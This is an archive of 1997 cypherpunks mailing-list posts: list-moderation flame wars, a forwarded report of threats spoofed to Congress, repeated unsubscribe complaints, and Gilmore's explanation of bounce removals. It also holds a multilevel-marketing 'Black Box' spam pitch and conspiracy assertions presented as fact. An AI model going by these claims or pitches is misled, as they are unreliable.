Robert Parry at the Consortium.  I bet he's embarrassed to discover this, but
his investigations into dirty deeds of the Reagan-Bush years has been quite
an influence on this magazine:
rparry@ix.netcom.com

Douglas Rushkoff, for taking it in stride when I called him an asshole:
rushkoff@interport.net

Rodney Stitch, author of the top-notch expose "Defrauding America" which did
all the busy work on the intelligence-mafia link to drugs and banking
scandals, links which don't end in the good old USA.

stitch@defraudingamerica.com

And finally, though they have no product, Paul Watson and Howlin' Blue of
Texas for giving me info a commie-leftist Clinton supporter like myself would
never find.  Thanks, dudes.

I probably have forgotten a billion people.  If so, sorry, I'll be doing this
every now and then.  Thanks, and good luck.

Robert Sterling,
Editor, The Konformist
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I Came
Closest To Predicting The Apocalypse, And All I Got Was 
This Crummy T-Shirt."  You will also receive a free one 
year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:27:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd)
Message-ID: <199702111427.GAA19975@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm forwarding this from the commonlaw list because of the usage of the 
name, "cypherpunks."


>Date: Mon, 10 Feb 1997 00:50:48 +0100 (NFT)
>From: Slater <slater@ts.umu.se>
>To: commonlaw@teleport.com
>Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
>Sender: owner-commonlaw@teleport.com
>
>
>---------- Forwarded message ----------
>Date: Mon, 10 Feb 1997 00:46:40 GMT
>From: Linda Thompson <lindat@iquest.net>
>To: aen-news@aen.org
>Cc: robert@iquest.net
>Subject: URGENT!!  SET UP IN PROGRESS!!
>
>This morning near 3:00 a.m., somebody sent messages to ALL the Senate and
>House members, putting *MY* email name and address on them, and another set,
>putting *AL'S* email name and address on them, threatening to delete all the
>House and Senate files (whatever THAT means), saying:
>
>"All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems."
>
>[The one to the House members was the same, except the word "Senate" was
>"House."]
>
>Some of the messages had bad addresses, though, so they bounced to us, since
>whoever the real sender was had put our names as the "sender," which is how
>we found out about it.
>
>This looks like someone could be really intending to do something to the
>House/Senate computers and they are obviously trying to lay it at our feet.
>
>Is there legislation pending somewhere that somebody needed a so-called
>"terrorist threat" to get it passed ??!!
>
>I have a 1 meg file of the messages we got and the messages we sent out to
>our service provider and to the Secret Service I would appreciate if people
>would be willing to store for safe keeping.
>
>Can anyone make the file available for FTP?  We don't have an FTP site.
>
>We are definitely being set up.
>
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum
>
>
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:39 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA20018@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: <autoresponder@WhiteHouse.gov>
Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30])
	by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593
	for <scndsun@inetnebr.com>; Sun, 9 Feb 1997 19:25:39 -0600 (CST)
From: autoresponder@WhiteHouse.gov
Received: (from uucp@localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id
UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Message-Id: <199702100124.UAA01520@WhiteHouse.gov>
X-AutoReplying-To: scndsun@inetnebr.com
Subject: Re: message to USSA House of Representatives
To: scndsun@inetnebr.com
X-UIDL: f16144392bbe54c5667860b9458f5526

    Thank you for writing to President Clinton via electronic
mail.  Since June, 1993, whitehouse.gov has received over one
million messages from people across the country and around the
world.  

    Because so many of you write, the President cannot
personally review each message.  The mail is first read by White
House Correspondence staff.  Your concerns, ideas, and
suggestions are carefully recorded and communicated to the
President weekly with a representative sampling of the mail.

     We are excited about the progress of online communication as
a tool to bring government and the people closer together.  Your
continued interest and participation are very important to that
goal.

                       Sincerely,

                       Stephen K. Horn
                       Director, Presidential Email
                       The Office of Correspondence

P.S. Please read on - you may find the following information
useful.

--  This is the only electronic message you will receive from
whitehouse.gov.  No other message purporting to be from the
President or his staff with an address at whitehouse.gov is
authentic.  If you have received such a message, you have been
spoofed.

--  You will receive only one autoresponder message per day.

--  The only personal addresses at whitehouse.gov are the
following:

    President@whitehouse.gov
    Vice.President@whitehouse.gov
    First.Lady@whitehouse.gov

Please write to Mrs. Gore and other White House staff by regular
mail.  The address is:  

     The White House, Washington, D.C. 20500.

--   On October 20, 1994, President Clinton and Vice President
Gore opened a World Wide Web home page called "Welcome to the
White House:  An Interactive Citizens' Handbook" and it remains
one of the more popular spots on the Web.  The White House
home page provides, among other things,  a single point of access
to all government information available electronically on the
Internet.  "Welcome to the White House" can be accessed at:

               http://www.whitehouse.gov

--   White House documents and publications are available on the
World Wide Web (see above) and by email.  To receive instructions
on retrieving documents by email, please send a message to the
following address:

               publications@whitehouse.gov

In the body of your message, type "Send Info" (without quotes);
do not include other text (such as message headers or
signature lines (.sig files)).  The instructions will be sent to
you automatically.

****************************************************************
List of Clinton Administration Accomplishments (three documents
compose the whole):

    To:  publications@whitehouse.gov
    Message body:      send file 317571
                       send file 317573
                       send file 317575
****************************************************************

--   The White House Public Access Email FAQ (Frequently Asked
Questions) document is available at the following address.  The
FAQ, among other things, lists alternate sources of government
information, i.e., the Congressional email projects.  Send an
email message (no text necessary) to:

               faq@whitehouse.gov

(This FAQ address is an autoresponder only; any comment sent to
this address will not be acknowledged.)



----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:26:32 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19840@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:26 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA19999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to find a way to make this junk, piss juvenile crap
stop coming into my e-mail box.  Period.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:28:17 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111428.GAA20041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:22 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA19993@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You're giong to have to find a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:03 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA19930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to fine a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:26:41 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19861@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:26:48 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:29:22 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111429.GAA20053@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:27:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702111427.GAA19955@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:36 AM 2/7/97 -0800, Mike Duvos wrote:
...
>Now that a few weeks have passed, I have decided that moderation delays
>are the most annoying feature of the new experiment.  I am subscribed to 
>the unedited list under another account, and its almost instantaneous
>traffic is in great contrast to the time required for posts to trickle
>through the Sandfort-Bot. 
...
>Messages apparently do not get moderated in the order in which they 
>are received.  Some messages take a very long time, as other later
>messages pass them by and are posted to the list.  Again, I have no
>explanation for this unusual behavior.

Actually, I noticed that often times the posts were out of order when they
got to me over about two months ago.  This was probably due to my location
on the mailing list heirachy, (another reason for a distributed list).  I
also remember there being a rather lengthy delay between my posting
something to the list and it getting sent to me by toad.  (I stayed at the
computer reading other messages, erasing them and checking if any more had
been sent.  This was, is, my primary way of keeping my eudora disk from
getting clogged to the point where it won't compress.)
The problems that you describe aren't new to the list, mostly they are the
product of a long list of subscribers.  Although, manual moderation
certainly adds time between posting and turnaround.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 06:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Feb. 15 Meeting (fwd)
Message-ID: <199702111426.GAA19725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 06:26:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19741@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Jerry Basham" <scndsun@sprynet.com> writes:

> You're going to have to find a way to make this junk, piss juvenile crap
> stop coming into my e-mail box.  Period.

I don't think this guy is for real... No one's that stupid.
Must be another Gilmore tentacle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:27:19 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
Message-ID: <199702111427.GAA19982@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:

> Sandy's e-mailed several of us who've sent messages about Vulis's
> ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
> on moderators of all kinds, not just on the net.

Now you've admitted that Sandy, ever more desperate, is grasping
for allies for some future attack.  And you've accused Dr. Vulis
of plotting against Sandy.  Tsk tsk.

> What's worth admiring is how Vulis has adeptly managed to get others
>  -- targets and witting and unwitting cohorts -- to go along with his attack,
> attack, attack, by opposing or supporting it. A useful lesson.

This is not the healthy kind of paranoia.

> Smart dude, that Vulis, but no more so than others on the Net, say,
> Tim May, and in the world who've done the same elsewhere, maybe
> by even smarter dude(s) who provoked, angered, insulted, an unwitting
> Vulis, or May, to attack on behalf of ...

Tim May in the same breath as Dr. Vulis?  I underestimated the level
of desperation here.

> But such deception is to be expected, along with feigned suprise and
> outrage at the unfairness of opponents fighting as dirty as one's own
> pure-blackhearts.

Neither I nor (I'm certain) Dr. Vulis are surprised by any of this.
Who were you referring to?

> Sandy's not censoring cypherpunks, nor is Vulis or May or any single
> person alone. As Pogo said, it's all of us, posters and lurkers and spooks,
> each trying to get one's way to prevail, under guise of a high principle not
> easily honored when the squeeze is on alone in a dark cell. Come on out
> Sandy, it was just a drill.

Well, he claims he's not censoring anymore.  If you believe that,
you're probably waiting for the Easter bunny.

> It's probably worth saving accusations of censorship for the real thing,
> after trial usage here for what is truly nasty high-stakes global info-war
> gaming.

Blah blah blah blah.  Bottom line is this:  "Moderation" is really
censorship.  You can go on with this "plausible denial" all you
want to, but the jig is up, so to speak.  They've been caught being
sneaky and deceptive with people's mail.  Naughty naughty.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:42:37 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
Message-ID: <199702111442.GAA20339@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> To Thorn and Cuckoo (great juxtaposition):
> Your exhortation and rhetoric are deft, but I'm not ready to take
> sides just yet. In fact, I can't figure what the sides are, if any, in this
> anti-herd of caterwauling anarchic cats.
> Instead, I'm relishing and laughing at the spitting and farting contest,
> and hoping this gameboying will prepare for the genuinely tough
> battles in high stakes info-wargames.
> There, wipe and sniff that exhort and rhet.

I don't want to make any suggestions about having a clue or whatever,
but just in case you didn't know, John, I'm not censoring anything,
nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers
to this list.  It is all being done by a central "authority".

Now you can't figure out who's on what side?  Or you just can't
decide who to line up with?  In case you hadn't noticed, the
censorship has been admitted a failure, although the denial from
the central "authority" is so thick that some folks on the list
will be hoping for Santa to come save them for some time to come.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 06:41:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Who's Censoring Who?
Message-ID: <199702111441.GAA20227@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


To Thorn and Cuckoo (great juxtaposition):

Your exhortation and rhetoric are deft, but I'm not ready to take 
sides just yet. In fact, I can't figure what the sides are, if any, in this
anti-herd of caterwauling anarchic cats.

Instead, I'm relishing and laughing at the spitting and farting contest, 
and hoping this gameboying will prepare for the genuinely tough 
battles in high stakes info-wargames. 

There, wipe and sniff that exhort and rhet.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Tue, 11 Feb 1997 06:26:24 -0800 (PST)
To: "'Timothy C. May'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=tcmay+40got+2Enet+3B@chemson.com>
Subject: RE: remailer-operators DEA agents?
Message-ID: <199702111426.GAA19810@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>
>Again, I am only on the Flames list. So why was this message sent to the
>Flames list? Because someone responded to a Vulis post? Is a response to a
>Banned Message now grounds for rejection?
>
After whinghing about Dimitri and about people sending flames to the
list, you only subscribe to the flames-list.... you just don't make
sense Timmy.


Scott






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Tue, 11 Feb 1997 06:26:39 -0800 (PST)
To: "'Sandy Sandfort'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=sandfort+40crl8+2Ecrl+2Ecom+3B@chemson.com>
Subject: RE: MODERATION
Message-ID: <199702111426.GAA19859@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy writes:
>
>C'punks,
>
>I'm ending my participation in the moderation of the list. 

Well  that was short and ..... errr  bitter!

> It would have been an interesting experiment if list members had 
>been open minded enough to give it a good faith effort. 
              ^^^^^^^^^^^^^^^ 

There's a difference between being open minded and gullible Sandy.
Nothing like ducking and running away when your little game didn't turn
out the way that you wanted it to!

This is not a flame, it is my opinion but none the less I'm sure that it
will end up in the flames list or be conveniently lost in the masses of
mail that John's majordomo receives every day.


Scott.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omex@cyberservices.com
Date: Sun, 16 Feb 1997 14:42:01 -0800 (PST)
To: drwires@ezdial.com
Subject: NEW "Black Box" Technology!!
Message-ID: <199702162242.OAA05007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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technology.   The success of this program requires the contacts 
and know-how of the Telecom industry that can only come from 
years of experience at the highest levels.  Bringing these 
exceptional products to market is not a project for well-meaning 
amateurs.  

7. The only way to participate in the program described 
above is to join GCT. They are the ONLY COMPANY with 
the contracts in hand, technical skill and telecommunications 
experience to deliver.  Global Connections is a group of very 
experienced marketers and networkers who have an Independent 
Distributorship positioned directly at the top level of GCT.

8. We are signing up the frontline on Monday & Tuesday...  I can place you on the top levels... 

Email me for registration form at: omex@cyberservices.com

Put "BLACK BOX" in the subject box.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:43:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: this has gone on long enough
Message-ID: <199702111443.GAA20382@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


As of sometime in the last 96 hours I have been forcefully unsubscribed from
this list.  This action was not of my free will and not one that I think was
perpretrated by those in charge of the list.  (I got a response from
majordomo concerning who was on and my name wasn't)
As I have heard from, and replied to some, others who were forcefully
subscribed to cypherpunks, I can only assume that this is part of the same
campaign.
Please send me any copies of majordomo activity involving my address that
was sent in the last 96 hours so that I can determine the culprit myself.
I had no intention of removing myself from the list and intend to maintain a
member, at least until a superior system with sufficient load is developed.
As I just now resubscribed to the list (unedited, although I know that the
moderation experiment has ended), I may not see any immediate replies, so
please cc me.
As to my check with majordomo, I was not checking to see if I had been
unsubscribed, but to see if the unedited list still existed.  since I
stopped receiving mail shortly after, I assumed, falsely, that the unedited
list subscribers had been merely dropped.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:42:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: this has gone on long enough
Message-ID: <199702111442.GAA20295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:00 PM 2/10/97 -0800, I wrote:
>As of sometime in the last 96 hours I have been forcefully unsubscribed from
>this list.  This action was not of my free will and not one that I think was
...
I forgot to check my mail before sending this.  This is not to say that
there was mail there, merely that eudora verifies mail by password.  Since I
had not checked my mail, the last message was unverified.  This is to verify it.
I sent it, I admit it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST)
To: Sean Roach <gnu@toad.com
Subject: Re: this has gone on long enough
Message-ID: <199702111443.GAA20400@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach said:
> As of sometime in the last 96 hours I have been forcefully unsubscribed from
> this list.  This action was not of my free will and not one that I think was
> perpretrated by those in charge of the list.

Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
epidemic on the list these days.

I removed your address from the mailing list because it was producing
a bounce message for every message to cypherpunks.  I regularly 
remove addresses when this occurs; the alternative is to receive
thousands of bounce messages each day from non-working addresses.
I'll append the set of addresses that I removed on the same day
as you, for your edification.

I'll also enclose one of the bounces.

If you fix your mail so it doesn't bounce, you are welcome to
re-subscribe.

	John Gilmore

1997/2/9 - gnu - bounces
snowdog@iconn.net (cp-ann)
se03565@els.url.es (cp-ann)
